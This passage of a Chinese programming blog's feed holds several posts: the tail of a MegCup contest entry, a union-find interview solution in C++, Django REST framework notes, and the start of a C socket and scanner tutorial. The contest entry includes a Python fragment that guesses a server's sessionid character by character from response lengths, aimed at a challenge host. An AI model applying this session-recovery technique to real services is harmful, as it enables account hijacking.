class="line">possible_c.remove(each)</span><br><span class="line"></span><br><span class="line">sessionid += possible_c[<span class="number">0</span>]</span><br><span class="line">num = <span class="number">0</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;sessionid is &#123;&#125;, and length is &#123;&#125;&quot;</span>.<span class="built_in">format</span>(sessionid, short_length))</span><br><span class="line">short_length = <span class="number">9999</span></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sessionid[<span class="number">303</span>:]) &gt;=<span class="number">32</span>:</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(sessionid)</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line"><span class="comment"># cookie = &#123;</span></span><br><span class="line"><span class="comment"># &#x27;sessionid&#x27;:hashlib.md5(b&#x27;aaa&#x27;).hexdigest()</span></span><br><span class="line"><span class="comment"># &#125;</span></span><br><span class="line">findCookie()</span><br><span class="line"><span class="comment"># res = requests.post(echo_url, data=value, params = &#123;&#x27;Cookie&#x27;:cookie&#125;)</span></span><br><span class="line"><span class="comment"># res = requests.get(&#x27;http://47.93.114.77:38701/echo&#x27;, params = &#123;&quot;expr&quot;:&quot;1+1&quot;&#125;, headers=&#123;&#x27;Cookie&#x27;: &#x27;sessionid=&#x27; + cookie&#125;)</span></span><br><span class="line"><span class="built_in">print</span>(res.text)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这个只能找到19位的sessionid。。。。从大佬的blog看得找到24位才行。。。GG看起来只能暴力猜测了</p><p>参考博客：<br><a href="http://hzp.iteye.com/blog/1833619">http://hzp.iteye.com/blog/1833619</a><br><a href="http://www.cnblogs.com/en-heng/p/4992916.html">http://www.cnblogs.com/en-heng/p/4992916.html</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;今天参加了MegCup，然而一整天就做出了一道题来。。。我还是太菜了QvQ&lt;/p&gt;
&lt;h2 id=&quot;more-linked-list&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Daily" scheme="https://showlinkroom.me/categories/Daily/"/>
    
    
    <category term="python" scheme="https://showlinkroom.me/tags/python/"/>
    
    <category term="algorithm" scheme="https://showlinkroom.me/tags/algorithm/"/>
    
  </entry>
  
  <entry>
    <title>面试题--最小并查集</title>
    <link href="https://showlinkroom.me/2017/03/23/%E9%9D%A2%E8%AF%95%E9%A2%98-%E6%9C%80%E5%B0%8F%E5%B9%B6%E6%9F%A5%E9%9B%86/"/>
    <id>https://showlinkroom.me/2017/03/23/%E9%9D%A2%E8%AF%95%E9%A2%98-%E6%9C%80%E5%B0%8F%E5%B9%B6%E6%9F%A5%E9%9B%86/</id>
    <published>2017-03-23T14:26:49.000Z</published>
    <updated>2020-07-16T13:31:30.443Z</updated>
    
    <content type="html"><![CDATA[<p>上个星期参加了网易的面试题，非常难，考完后拿回来和大佬同学讨论了一下才明白要怎么做，这里记录思考过程。</p><h2 id="more-最小并查集"><span id="more"></span><br>最小并查集</h2><h2 id="题目">题目:</h2><p>有一个村庄，村庄中部分用户已经通了下水管道，但是还有一些用户没有通，请问至少要多建多少根下水管道才能让所有的用户都联通呢？</p><h3 id="输入">输入:</h3><p>5 3 (5个用户，已经修筑了3条线)<br>1 2 (修筑了下水道的用户)<br>2 3<br>3 4</p><h3 id="输出">输出:</h3><p>1<br>至少还要输出1条</p><p>仔细看会发现是一个最小并查集的题目，难点就在于如何将已经连通的城市表示出来。这里采用<strong>树</strong>的模型，也就是说，我们通过遍历边，让 边两侧的点都挂在同一棵树下，从而形成一个个集合。<br>树我们就用<strong>数组</strong>来表示，然后数组中的元素表示父节点。每当我们需要判断当前集合的值的时候，我们就从子节点往上查找，直到找到根节点的值。查找的过程写成递归的形式就好。<br>最后我们让每个子节点都直接链接到根节点上，最后对数组排序，就能很容易的找到有哪几个集合了。</p><p>(感谢dalao<em>学渣晖sir</em>提供的思路和讨论)</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;vector&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;algorithm&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;memory.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">line</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> begin, end;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">Find</span><span class="params">(<span class="type">int</span> x, <span class="type">int</span>* nodes)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> x == nodes[x]?x:nodes[x] = <span class="built_in">Find</span>(nodes[x], nodes);<span class="comment">//递归找到根节点</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">cmp</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> a &gt; b;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> nodes[<span class="number">1000</span>];</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    vector&lt;line&gt; Lines;</span><br><span class="line">    <span class="type">int</span> v, n;</span><br><span class="line">    <span class="type">int</span> b, e;</span><br><span class="line">    <span class="keyword">while</span>(cin &gt;&gt; v &gt;&gt; n)&#123;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt;= v; i++)&#123;</span><br><span class="line">            nodes[i] = i;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">memset</span>(nodes, <span class="number">0</span>, n*<span class="built_in">sizeof</span>(<span class="type">int</span>));</span><br><span class="line">        <span class="comment">//首先生成点的集合和边的集合</span></span><br><span class="line">        <span class="keyword">if</span>(n == <span class="number">0</span>)&#123;</span><br><span class="line">            cout &lt;&lt; v - <span class="number">1</span> &lt;&lt; endl;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; n; i++)&#123;</span><br><span class="line">            <span class="keyword">struct</span> <span class="title class_">line</span> L = &#123;&#125;;</span><br><span class="line">            cin &gt;&gt; b &gt;&gt; e;</span><br><span class="line">            <span class="comment">//nodes[b] = b;</span></span><br><span class="line">            <span class="comment">//nodes[e] = e;</span></span><br><span class="line">            L.begin = b;</span><br><span class="line">            L.end = e;</span><br><span class="line">            Lines.<span class="built_in">push_back</span>(L);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//之后对应索引处的点为该点的前驱节点</span></span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> j = <span class="number">0</span>; j &lt; Lines.<span class="built_in">size</span>(); j++)&#123;</span><br><span class="line">            <span class="type">int</span> x = <span class="built_in">Find</span>(Lines[j].begin, nodes);</span><br><span class="line">            <span class="type">int</span> y = <span class="built_in">Find</span>(Lines[j].end, nodes);</span><br><span class="line">            <span class="comment">//将nodes[i]保存的元素替换成前驱节点</span></span><br><span class="line">            <span class="keyword">if</span>(x != y)&#123;</span><br><span class="line">                nodes[x] = nodes[y];</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"><span class="comment">// 将每个节点直接连在根节点上</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i &lt;= v; i++) &#123;</span><br><span class="line">nodes[i] = <span class="built_in">Find</span>(nodes[i], nodes);</span><br><span class="line">&#125;</span><br><span class="line">        <span class="built_in">sort</span>(&amp;nodes[<span class="number">1</span>] ,&amp;nodes[v + <span class="number">1</span>] , cmp);</span><br><span class="line">        <span class="type">int</span> cur;</span><br><span class="line">        <span class="type">int</span> cnt = <span class="number">0</span>;</span><br><span class="line">        cur = nodes[<span class="number">1</span>];</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">1</span>; i &lt;= v; i++)&#123;</span><br><span class="line">            <span class="keyword">if</span>(nodes[i]!= cur)&#123;</span><br><span class="line">                cur = nodes[i];</span><br><span class="line">                cnt++;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        cout &lt;&lt; cnt &lt;&lt; endl;</span><br><span class="line">        Lines.<span class="built_in">clear</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;上个星期参加了网易的面试题，非常难，考完后拿回来和大佬同学讨论了一下才明白要怎么做，这里记录思考过程。&lt;/p&gt;
&lt;h2 id=&quot;more-最小并查集&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Daily" scheme="https://showlinkroom.me/categories/Daily/"/>
    
    
    <category term="笔试面试" scheme="https://showlinkroom.me/tags/%E7%AC%94%E8%AF%95%E9%9D%A2%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>Django-project</title>
    <link href="https://showlinkroom.me/2017/03/23/Django-project/"/>
    <id>https://showlinkroom.me/2017/03/23/Django-project/</id>
    <published>2017-03-23T03:37:33.000Z</published>
    <updated>2020-07-16T13:31:30.381Z</updated>
    
    <content type="html"><![CDATA[<p>这一篇和之前的不太一样，主要讲的也不是django本身的技术问题，而是开发中的注意事项</p><h2 id="more-django-与开发"><span id="more"></span><br>Django 与开发</h2><h2 id="git的使用-关于分支">git的使用–关于分支</h2><p>由Git pro中了解到，每一个分支应该代表了<strong>当前要完成的任务</strong>，也就是说，每一次开发的时候，应该是以<strong>开发特性</strong>作为分支的名字。当然，也可以使用next等表示<strong>开发版本</strong>的</p><ul><li>每次合并结束后，记得要将原先的分支删除掉。</li><li>分支的名字不要用_, 而是用-</li><li>每次提交都只做一件事情，比如修改了文档1并且增加了文档2。</li><li>每个功能都新建一个分支，比如一个分支用于写文档另一个用于开发。</li><li>某些功能如果正在开发中，我们可以在标题中加上WiP(Work in process)表示当前的工作正在开发中，不能直接进行合并。</li><li>如果要master和当前分支同步的话，不要用个git pull origin master，而是要git rebase master，从而将之前的</li></ul><h2 id="api的相关作用">API的相关作用</h2><p>API是将不同模块连接的重要纽带，所以当我们开始项目后，就要及时的给出API，而不是先写代码。</p><h2 id="field的相关">Field的相关</h2><p>django对数据库的支持很好，但是一次性记下来始终还是太难了，这里记下文件路径:[django/forms/field.py]</p><h2 id="http相关知识">http相关知识</h2><p>毕竟是网页，http的相关指示也是要求有的</p><h3 id="http状态码">http状态码</h3><p>200——交易成功<br>201——提示知道新文件的URL<br>202——接受和处理、但处理未完成<br>203——返回信息不确定或不完整<br>204——请求收到，但返回信息为空<br>205——服务器完成了请求，用户代理必须复位当前已经浏览过的文件<br>206——服务器已经完成了部分用户的GET请求</p><h3 id="http请求类型">http请求类型</h3><p>GET：向特定的资源发出请求。<br>POST：向指定资源提交数据进行处理请求（例如提交表单或者上传文件）。数据被包含在请求体中。POST请求可能会导致新的资源的创建和/或已有资源的修改。<br>PUT：向指定资源位置上传其最新内容。<br>DELETE：请求服务器删除Request-URI所标识的资源。</p><h3 id="api的内容要求">API的内容要求</h3><ul><li>URI后面都要有/</li></ul><h2 id="rest-framework-serialize-序列化">rest framework — serialize(序列化)</h2><p>当我们需要将我们的model中的数据传输的时候，总不能现场封装一个json吧（以前java里面居然干过这样的蠢事。。。）所以这里使用serialize将我们指定的类数据序列化，<br>例如:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> datetime <span class="keyword">import</span> datetime</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Comment</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, email, content, created=<span class="literal">None</span></span>):</span><br><span class="line">        self.email = email</span><br><span class="line">        self.content = content</span><br><span class="line">        self.created = created <span class="keyword">or</span> datetime.now()</span><br><span class="line"></span><br><span class="line">comment = Comment(email=<span class="string">&#x27;leila@example.com&#x27;</span>, content=<span class="string">&#x27;foo bar&#x27;</span>)</span><br></pre></td></tr></table></figure><p>首先定义一个类，有一些基本的属性。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">from rest_framework import serializers</span><br><span class="line"></span><br><span class="line">class CommentSerializer(serializers.Serializer):</span><br><span class="line">    class Meta:</span><br><span class="line">        email = serializers.EmailField()</span><br><span class="line">        content = serializers.CharField(max_length=200)</span><br><span class="line">        created = serializers.DateTimeField()</span><br></pre></td></tr></table></figure><p>然后用序列化定义，定义相应的内容以及对应的数据库内容。如果使用了django框架的话，此时可以将自己的model类直接赋值给对应的model属性.<br>之后，如果我们将comment序列化处理后，将会得到:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">serializer = CommentSerializer(comment)</span><br><span class="line">serializer.data</span><br><span class="line"><span class="comment"># &#123;&#x27;email&#x27;: &#x27;leila@example.com&#x27;, &#x27;content&#x27;: &#x27;foo bar&#x27;, &#x27;created&#x27;: &#x27;2016-01-27T15:17:10.375877&#x27;&#125;</span></span><br></pre></td></tr></table></figure><p>一个序列化处理后的结果。此处可以看见，此时的data已经变成python内建的dict，于是如果此时我们想要传输json的话，我们只需要使用自带的json封装即可:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> rest_framework.renderers <span class="keyword">import</span> JSONRenderer</span><br><span class="line"></span><br><span class="line">json = JSONRenderer().render(serializer.data)</span><br><span class="line">json</span><br><span class="line"><span class="comment"># b&#x27;&#123;&quot;email&quot;:&quot;leila@example.com&quot;,&quot;content&quot;:&quot;foo bar&quot;,&quot;created&quot;:&quot;2016-01-27T15:17:10.375877&quot;&#125;&#x27;</span></span><br></pre></td></tr></table></figure><p>同样的是，这个类还能够进行反序列化:</p><h2 id="code-4-rest-framework-viewset-router"><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.utils.six <span class="keyword">import</span> BytesIO</span><br><span class="line"><span class="keyword">from</span> rest_framework.parsers <span class="keyword">import</span> JSONParser</span><br><span class="line"></span><br><span class="line">stream = BytesIO(json)</span><br><span class="line">data = JSONParser().parse(stream)</span><br><span class="line"></span><br><span class="line">serializer = CommentSerializer(data=data)</span><br><span class="line">serializer.is_valid()</span><br><span class="line"><span class="comment"># True</span></span><br><span class="line">serializer.validated_data</span><br><span class="line"><span class="comment"># &#123;&#x27;content&#x27;: &#x27;foo bar&#x27;, &#x27;email&#x27;: &#x27;leila@example.com&#x27;, &#x27;created&#x27;: datetime.datetime(2012, 08, 22, 16, 20, 09, 822243)&#125;</span></span><br></pre></td></tr></table></figure><br>rest framework — ViewSet &amp; Router</h2><p>这个viewset能够帮助开发者更加专注与models的开发和交互，并且能够让url能够自动化构建。<br>我们这里介绍项目中会遇到的几个方法:<br>viewsets.ModelViewSet：<br>这个类会提供<code>list</code>, <code>create</code>, <code>retrieve</code>,<code>update</code> 和 <code>destroy</code>方法。这些方法能够帮助我们更快的构建页面。<br>通过继承其对应的类可以实现渲染效果：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">ExampleViewSet</span>(<span class="title class_ inherited__">ModelViewSet</span>):</span><br><span class="line">    serializer_class = CommentSerializer</span><br><span class="line">    queryset = Example.obejcts.<span class="built_in">all</span>()</span><br></pre></td></tr></table></figure><p>然后我们可以在注册一个我们的url</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">router = DefaultRouter()</span><br><span class="line">router.register(<span class="string">&#x27;comments&#x27;</span>, CommentViewSet)</span><br><span class="line">urlpatterns = [</span><br><span class="line">    url(<span class="string">r&#x27;^&#x27;</span>, include(router.urls)),</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>这样的话，通过访问指定来的url(xxx/coments/)就能够访问到一个用于调试用的界面。由于我们继承的是ModelViewSet,所以我们函数中带有<code>list</code>,<code>delete</code>,<code>update</code>,<code>create</code>,<code>retrive</code>的功能。具体体现:</p><ul><li><code>list</code>:queryset中的内容全部展示在当前页面</li><li><code>create</code>:提供一个post方法</li><li><code>retrive</code>:可访问(/comments/123/)</li><li><code>update</code>:提供了一个put更改</li><li><code>delete</code>:(/comments/123/)中有一个delete按钮</li></ul><h3 id="提高效率">提高效率</h3><p>查看源代码可知，在retrive或者list方法中，会调用一个叫做get_object的方法，那么如果我们不想让这个ViewSet获得默认的数据，或者想让其通过别的方式获得数据的话，可以通过重构这个函数来实现这个功能。</p><h2 id="自动生成的url">自动生成的url</h2><p>上面讲了viewset，这里讲一下router的用途。Router就是一个封装好的路由类，通过<strong>注册–&gt;加入url</strong>的方式完全自动生成动态的url:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">router.register(<span class="string">&#x27;comments&#x27;</span>, CommentViewSet)</span><br><span class="line"></span><br><span class="line">urlpatterns = [</span><br><span class="line">    url(<span class="string">r&#x27;^&#x27;</span>, include(router.urls)),</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>如上，此时匹配的url规则就会包括[/comments/id]，当然id是否可以匹配取决于注册的CommentViewSet是否支持update这类方法。</p><h3 id="资源的嵌套">资源的嵌套</h3><p>当然RESTFUL中提倡资源嵌套，如[/author/1/comment]，为了实现资源嵌套，一个router肯定是不够的，而中间的1又是一个变量，这样的话我们可以用提供的装饰器解决:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">A</span>(<span class="title class_ inherited__">xxx</span>):</span><br><span class="line"><span class="meta">    @detail_route(<span class="params">methods=[<span class="string">&#x27;post&#x27;</span>],</span></span></span><br><span class="line"><span class="params"><span class="meta">                  permission_classes=(<span class="params">IsAuthenticated,</span>),url_path=<span class="string">&#x27;my-url&#x27;</span></span>)</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">func</span>()</span><br></pre></td></tr></table></figure><p>这里通过使用了装饰器，指定了当我们使用post方法的时候，我们就能够像访问到[/A/id/my-url]的位置，如果不指定名字的话，那么这个my-url就会替换成def后的名字。</p><h3 id="资源的嵌套-viewset结合">资源的嵌套–ViewSet结合</h3><p>然而，有时候我们就是这么懒，想要用现有的方法，但是对于另一些方法又想要让其访问到ViewSet以外的url，并且此时还要是另一个ViewSet中的数据库的内容。这就要用到Router的Bind技术:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MoneyViewSet</span>(<span class="title class_ inherited__">ModelViewSet</span>):</span><br><span class="line">....</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">BankViewSet</span>(<span class="title class_ inherited__">ReadOnlyViewSet</span>):</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>假如如上，MoneyViewSet中，我们定义了一个方法getMoney，所以要从Money的数据库中查找数据，但是此时我们的url设计为[/bank/{id}/money/]（因为要找到对应的bank），所以此时我们同时需要<strong>取得bank的id</strong>并且<strong>访问对应点money的数据库</strong>。显然，我们要是直接注册MoneyViewSet，就会形成[/money/{id}]，显然就不是我们要的url。为了保持我们的设计原则，我们这里可以这样处理:<br>首先在urls.py中绑定我们的ViewSet:</p><h2 id="方便的测试apiclient">方便的测试APIClient</h2><p>很多时候，我们测试的过程中可能包含了【管理员】与【用户】的差异。当我们为了测试时模拟这个用户的过程，我们可以用APIClient:<br>假设我们此时项目有一个用户对象类为Uesr，继承了来自django自带的AbstractUser:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">self.user = User.objects.create(username=<span class="string">&quot;user&quot;</span>)</span><br><span class="line">self.admin = User.objects.create(username=<span class="string">&quot;admin&quot;</span>)</span><br><span class="line"></span><br><span class="line">self.client.force_login(self.admin)</span><br></pre></td></tr></table></figure><p>这个过程中，就能够模拟出一个登陆的会话，该会话中我们就是以用户名为&quot;admin&quot;登陆的。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这一篇和之前的不太一样，主要讲的也不是django本身的技术问题，而是开发中的注意事项&lt;/p&gt;
&lt;h2 id=&quot;more-django-与开发&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="Django" scheme="https://showlinkroom.me/tags/Django/"/>
    
    <category term="Project" scheme="https://showlinkroom.me/tags/Project/"/>
    
  </entry>
  
  <entry>
    <title>sniffer的C编写</title>
    <link href="https://showlinkroom.me/2017/03/13/sniffer%E7%9A%84python%E7%BC%96%E5%86%99/"/>
    <id>https://showlinkroom.me/2017/03/13/sniffer%E7%9A%84python%E7%BC%96%E5%86%99/</id>
    <published>2017-03-13T02:31:24.000Z</published>
    <updated>2020-07-16T13:31:30.416Z</updated>
    
    <content type="html"><![CDATA[<p>网络安全大作业之一，乘机好好学一波网络相关知识(由于这篇文章本来是针对python 写的，但是后来得知要求是用C来完成sniffer。。。。。于是这里先从简单的scanner进行编写:)</p><h2 id="more-c编写scanner"><span id="more"></span><br>C编写scanner</h2><h2 id="1-socket了解">1.socket了解</h2><p>首先，socket即为所谓的<strong>套接字</strong>，套接字将底层的网络通信的工程封装成一个个函数，我们通过使用套接字提供的接口，完成网络通信。<br>网络通信过程中，客户端通过以下几个步骤完成数据通信:</p><ul><li>与地址结构进行绑定（指定通信机制和地址）</li><li>读写数据</li><li>关闭套接字</li></ul><h2 id="2-具体通信相关函数">2.具体通信相关函数</h2><p>int socket(int domain, int type, int protocol)</p><ul><li>domain:域，也就是创建的套接字使用的协议簇，比如说ipv4(AF_INET),ipv6(AF_INET6)</li><li>type: SOCKET的种类，比如SOCK_STREAM(流，tcp)，SOCK_DGRAW(数据报， udp)，SOCK_RAW(原始socket)</li><li>protocol: SOCKET使用的协议,比如IPPROTO_TCP， IPPROTO_UDP， IPPROTO_IP<br>通过这个函数，能够设置套接字的基本属性，并且返回一个套接字句柄。我们之后可以通过操作此句柄来完成对socket的具体操作。</li></ul><p>int bind(int sockfd,struct sockaddr *my_addr,socklen_t addrlen)</p><ul><li>sockfd:sock的句柄</li><li>my_addr:这里是一个结构体，通用结构体如下:<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr</span> &#123;</span></span><br><span class="line">           <span class="type">sa_family_t</span> sa_family;    <span class="comment">// 之前的地址协议</span></span><br><span class="line">           <span class="type">char</span>        sa_data[<span class="number">14</span>];  <span class="comment">// 存储具体的协议地址</span></span><br><span class="line">       &#125;</span><br></pre></td></tr></table></figure>TCP/IP协议使用的协议地址格式为:<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span>&#123;</span></span><br><span class="line">   <span class="type">unsigned</span> <span class="type">short</span> sin_family;<span class="comment">/*地址类型*/</span></span><br><span class="line">   <span class="type">unsigned</span> <span class="type">short</span>  sin_port;<span class="comment">/*端口号*/</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">in_addr</span>   <span class="title">sin_addr</span>;</span><span class="comment">/*IP地址*/</span></span><br><span class="line">   <span class="type">unsigned</span> <span class="type">char</span>  sin_zero[<span class="number">8</span>];<span class="comment">/*填充字节，一般赋值为0*/</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">in_addr</span>&#123;</span></span><br><span class="line">                unsignedlong s_addr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul><p>这里注意地方:</p><ol><li>inet_addr这个函数能够将一个ip地址穿换成unsigned long的形式，也就是说:</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">addr_serv.sin_addr.s_addr = inet_addr(DEST_IP_ADDRESS);</span><br></pre></td></tr></table></figure><p>通常按照如上赋值。<br>2.htons可以将整型变量从主机字节顺序转变成网络字节顺序。就是所谓的高字节在低位，低数字在高位。</p><ul><li>addrlen:地址长度<br>当使用socket函数后，会创建一个命名空间（就是地址簇），但是我们此时还没有指定当前的地址（也就是当前的socket的名字）。所以我们使用bind将对应的地址进行绑定。<br>使用前通常要进行清空处理:</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">addr_serv</span>,<span class="title">addr_client</span>;</span><span class="comment">/*本地的地址信息*/</span></span><br><span class="line"><span class="built_in">memset</span>(&amp;serv_addr,<span class="number">0</span>,<span class="keyword">sizeof</span>(<span class="keyword">struct</span> sockaddr_in));<span class="comment">// 将当前的内容清空</span></span><br></pre></td></tr></table></figure><p>此函数为服务器端调用</p><p>int cnnect(int sockfd, struck sockaddr* servaddr, int addrlen)</p><ul><li>sockfd: <strong>进行了绑定的</strong>sockfd</li><li>servaddr: 服务方的地址</li><li>addrlen: 地址的长度<br>通常为客户端使用，使用的时候我们 通常使用tcp/udp协议，从而sockaddr通常写作 sockaddr_in结构体。</li></ul><p>ssize_t send(int s,const void *msg,size_t len,int flags);<br>ssize_t recv(int s,const void *msg,size_t len,int flags);</p><ul><li>s:套接字的描述符fd</li><li>msg:所发送的缓冲区</li><li>len:待发送数据的长度</li><li>flags:数据类型：</li><li>MSG_OOB：发送或接收加急数据；</li><li>MSG_PEEK：观察输入报文；</li><li>MSG_DONTROUTE：旁路路由选择；</li></ul><h2 id="4-设计思路">4. 